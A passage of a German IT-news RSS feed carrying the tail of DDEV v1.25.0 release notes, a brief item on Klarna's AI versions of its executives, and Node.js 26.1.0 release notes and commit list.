<li>docs: add note on restarting for environment variable changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MurzNN/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MurzNN">@MurzNN</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3889575340" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8093" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8093/hovercard" href="https://github.com/ddev/ddev/pull/8093">#8093</a></li>
<li>fix(add-on): normalize <code>ddev add-on get</code> output when there's no version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890604590" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8094" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8094/hovercard" href="https://github.com/ddev/ddev/pull/8094">#8094</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/q0rban/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/q0rban">@q0rban</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626113413" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7861" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7861/hovercard" href="https://github.com/ddev/ddev/pull/7861">#7861</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658037285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7893" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7893/hovercard" href="https://github.com/ddev/ddev/pull/7893">#7893</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3669387046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7907" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7907/hovercard" href="https://github.com/ddev/ddev/pull/7907">#7907</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/grummbeer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/grummbeer">@grummbeer</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633286534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7872" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7872/hovercard" href="https://github.com/ddev/ddev/pull/7872">#7872</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730518709" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7942" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7942/hovercard" href="https://github.com/ddev/ddev/pull/7942">#7942</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3756979012" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7975" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7975/hovercard" href="https://github.com/ddev/ddev/pull/7975">#7975</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789513134" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8008" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8008/hovercard" href="https://github.com/ddev/ddev/pull/8008">#8008</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3622910076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7853" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7853/hovercard" href="https://github.com/ddev/ddev/pull/7853">#7853</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862908143" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8065" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8065/hovercard" href="https://github.com/ddev/ddev/pull/8065">#8065</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.24.10...v1.25.0"><tt>v1.24.10...v1.25.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Künstliche Intelligenz: Klarna-Angestellte können Frust an KI-Chef auslassen]]></title>
<description><![CDATA[Mit KI‑Versionen seines CEO und CMO will Klarna den Frust seiner Angestellten abfangen und Kundenfeedback sammeln. (KI, Wirtschaft)]]></description>
<link>https://tsecurity.de/de/3495951/it-nachrichten/kuenstliche-intelligenz-klarna-angestellte-koennen-frust-an-ki-chef-auslassen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3495951/it-nachrichten/kuenstliche-intelligenz-klarna-angestellte-koennen-frust-an-ki-chef-auslassen/</guid>
<pubDate>Thu, 07 May 2026 14:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit KI‑Versionen seines CEO und CMO will Klarna den Frust seiner Angestellten abfangen und Kundenfeedback sammeln. (<a href="https://www.golem.de/specials/ki/">KI</a>, <a href="https://www.golem.de/specials/wirtschaft/">Wirtschaft</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=208436&amp;page=1&amp;ts=1778157001" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-07, Version 26.1.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes
Experimental node:ffi module
Node.js now includes an experimental node:ffi module for loading dynamic
libraries and calling native symbols from JavaScript.
The API is gated behind the --experimental-ffi flag and, when the Permission
Model is enabled, requires --allow-ffi.
This API...]]></description>
<link>https://tsecurity.de/de/3495522/downloads/2026-05-07-version-2610-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3495522/downloads/2026-05-07-version-2610-current-aduh95/</guid>
<pubDate>Thu, 07 May 2026 12:16:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>Experimental <code>node:ffi</code> module</h4>
<p>Node.js now includes an experimental <code>node:ffi</code> module for loading dynamic<br>
libraries and calling native symbols from JavaScript.</p>
<p>The API is gated behind the <code>--experimental-ffi</code> flag and, when the Permission<br>
Model is enabled, requires <code>--allow-ffi</code>.</p>
<p>This API is inherently unsafe. Invalid pointers, incorrect signatures, or accessing memory<br>
after it has been freed can crash the process or corrupt memory.</p>
<p>Contributed by Paolo Insogna in <a href="https://github.com/nodejs/node/pull/62072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62072/hovercard">#62072</a>.</p>
<h4>Other Notable Changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/34a6454fe3"><code>34a6454fe3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: add <code>end</code> parameter (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62390/hovercard">#62390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/073e84d7fe"><code>073e84d7fe</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in <code>crypto.diffieHellman()</code> and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b9cb10a5f"><code>5b9cb10a5f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement <code>randomUUIDv7()</code> (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98f9becd16"><code>98f9becd16</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06defaa2ea"><code>06defaa2ea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add <code>signal</code> option to <code>fs.stat()</code> (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db66a963bf"><code>db66a963bf</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose <code>frsize</code> field in <code>statfs</code> (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87adb3472b"><code>87adb3472b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden <code>ClientRequest</code> options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9047ec12ce"><code>9047ec12ce</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add <code>req.signal</code> to <code>IncomingMessage</code> (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab66de8eaa"><code>ab66de8eaa</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>process</strong>: throw on <code>execve(2)</code> failure instead of aborting (Bryan English) <a href="https://github.com/nodejs/node/pull/62878" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62878/hovercard">#62878</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8273682c87"><code>8273682c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: allow empty <code>--experimental-config-file</code> (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61610/hovercard">#61610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbff28f7e6"><code>fbff28f7e6</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in <code>duplexPair</code> (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a8c773a0c7"><code>a8c773a0c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b883a5eaea"><code>b883a5eaea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for <code>AbortSignal.timeout</code> (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a21ae1771e"><code>a21ae1771e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b85c73ff10"><code>b85c73ff10</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/1b959d02c2"><code>1b959d02c2</code></a>] - <strong>assert,util</strong>: fix stale nested cycle memo entries (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/62509" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62509/hovercard">#62509</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbeb38d210"><code>bbeb38d210</code></a>] - <strong>buffer</strong>: fix end parameter bugs in indexOf/lastIndexOf (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62711" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62711/hovercard">#62711</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34a6454fe3"><code>34a6454fe3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: add end parameter (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62390/hovercard">#62390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b91526cd5"><code>8b91526cd5</code></a>] - <strong>build</strong>: track PDL files as inputs in inspector GN build (Robo) <a href="https://github.com/nodejs/node/pull/62888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62888/hovercard">#62888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da40ed7842"><code>da40ed7842</code></a>] - <strong>build</strong>: remove armv6 from experimental platforms (René) <a href="https://github.com/nodejs/node/pull/63063" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63063/hovercard">#63063</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b36e55a23e"><code>b36e55a23e</code></a>] - <strong>build</strong>: make test-addons dependency-free (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62388" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62388/hovercard">#62388</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c27f3cf8f2"><code>c27f3cf8f2</code></a>] - <strong>build</strong>: add --enable-all-experimentals build flag (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62755/hovercard">#62755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d73b63a76"><code>0d73b63a76</code></a>] - <strong>build</strong>: fix cargo check when Temporal is disabled (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62730/hovercard">#62730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8f97e6f7b"><code>d8f97e6f7b</code></a>] - <strong>build</strong>: fix ffi dependency compilation (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62731/hovercard">#62731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d1eb7b340f"><code>d1eb7b340f</code></a>] - <strong>build</strong>: fix stray debug string in LIEF defines (Om Ghante) <a href="https://github.com/nodejs/node/pull/62683" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62683/hovercard">#62683</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/845283009d"><code>845283009d</code></a>] - <strong>build</strong>: remove redundant -fuse-linker-plugin from GCC LTO flags (Daniel Lando) <a href="https://github.com/nodejs/node/pull/62667" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62667/hovercard">#62667</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6e99879f4"><code>a6e99879f4</code></a>] - <strong>build,win</strong>: enable x64 PGO (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62761" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62761/hovercard">#62761</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38befee0fb"><code>38befee0fb</code></a>] - <strong>crypto</strong>: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62706/hovercard">#62706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b10653ad87"><code>b10653ad87</code></a>] - <strong>crypto</strong>: add guards and adjust tests for BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62883/hovercard">#62883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a7a69c6b0"><code>2a7a69c6b0</code></a>] - <strong>crypto</strong>: reject unintended raw key format string input (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62974/hovercard">#62974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bad1e2fe6a"><code>bad1e2fe6a</code></a>] - <strong>crypto</strong>: fix unsigned conversion of 4-byte RSA publicExponent (DeepView Autofix) <a href="https://github.com/nodejs/node/pull/62839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62839/hovercard">#62839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9d5bae598"><code>c9d5bae598</code></a>] - <strong>crypto</strong>: remove Argon2 KDF derivation from its job setup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62863/hovercard">#62863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6eea52426f"><code>6eea52426f</code></a>] - <strong>crypto</strong>: reject duplicate ML-KEM JWK key_ops (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62905/hovercard">#62905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80d4836616"><code>80d4836616</code></a>] - <strong>crypto</strong>: deduplicate and canonicalize CryptoKey usages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62902" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62902/hovercard">#62902</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8950247027"><code>8950247027</code></a>] - <strong>crypto</strong>: reject inherited key type names (Jonathan Lopes) <a href="https://github.com/nodejs/node/pull/62875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62875/hovercard">#62875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f42f9615a"><code>3f42f9615a</code></a>] - <strong>crypto</strong>: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62763/hovercard">#62763</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28346d999b"><code>28346d999b</code></a>] - <strong>crypto</strong>: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62626/hovercard">#62626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4cec263c4"><code>d4cec263c4</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/073e84d7fe"><code>073e84d7fe</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518b578fe7"><code>518b578fe7</code></a>] - <strong>crypto</strong>: add memory tracking for secureContext openssl objects (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/59051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59051/hovercard">#59051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b9cb10a5f"><code>5b9cb10a5f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement randomUUIDv7() (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7133826053"><code>7133826053</code></a>] - <strong>debugger</strong>: move ProbeInspectorSession and helpers to separate files (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63013/hovercard">#63013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98f9becd16"><code>98f9becd16</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94ac62a2d1"><code>94ac62a2d1</code></a>] - <strong>deps</strong>: update undici to 8.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63092/hovercard">#63092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef71de87e6"><code>ef71de87e6</code></a>] - <strong>deps</strong>: update amaro to 1.1.9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63090/hovercard">#63090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4f0ef881a"><code>c4f0ef881a</code></a>] - <strong>deps</strong>: update llhttp to 9.4.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63045" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63045/hovercard">#63045</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d29fbc0029"><code>d29fbc0029</code></a>] - <strong>deps</strong>: fix integration issues with the latest nghttp2 (Tim Perry) <a href="https://github.com/nodejs/node/pull/62891" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62891/hovercard">#62891</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/537825acee"><code>537825acee</code></a>] - <strong>deps</strong>: update nghttp2 to 1.69.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62891" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62891/hovercard">#62891</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4446bf694d"><code>4446bf694d</code></a>] - <strong>deps</strong>: update corepack to 0.34.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62810/hovercard">#62810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8f55327f1c"><code>8f55327f1c</code></a>] - <strong>deps</strong>: fix libffi macos build (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63006/hovercard">#63006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dee18f72f"><code>3dee18f72f</code></a>] - <strong>deps</strong>: patch V8 to 14.6.202.34 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62964/hovercard">#62964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e281b247e6"><code>e281b247e6</code></a>] - <strong>deps</strong>: update timezone to 2026b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62962" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62962/hovercard">#62962</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4dd982df13"><code>4dd982df13</code></a>] - <strong>deps</strong>: upgrade npm to 11.13.0 (npm team) <a href="https://github.com/nodejs/node/pull/62898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62898/hovercard">#62898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61c0ff4a13"><code>61c0ff4a13</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/439a54b/hovercard" href="https://github.com/libuv/libuv/commit/439a54b">libuv/libuv@<tt>439a54b</tt></a> (skooch) <a href="https://github.com/nodejs/node/pull/62881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62881/hovercard">#62881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d26ca462ae"><code>d26ca462ae</code></a>] - <strong>deps</strong>: update undici to 8.1.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62728/hovercard">#62728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f08489ac9"><code>6f08489ac9</code></a>] - <strong>deps</strong>: update sqlite to 3.53.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62699/hovercard">#62699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/713601e8bd"><code>713601e8bd</code></a>] - <strong>deps</strong>: update nbytes to 0.1.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62698/hovercard">#62698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/578cf1c0c1"><code>578cf1c0c1</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a4ef13c67"><code>4a4ef13c67</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f3eca8c1e"><code>2f3eca8c1e</code></a>] - <strong>deps</strong>: update perfetto to 54.0 (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62397" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62397/hovercard">#62397</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/944ed9b739"><code>944ed9b739</code></a>] - <strong>deps</strong>: add perfetto build files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62397" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62397/hovercard">#62397</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15530a7484"><code>15530a7484</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62595" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62595/hovercard">#62595</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b813b4c4b5"><code>b813b4c4b5</code></a>] - <strong>deps</strong>: update minimatch to 10.2.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62594" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62594/hovercard">#62594</a></li>
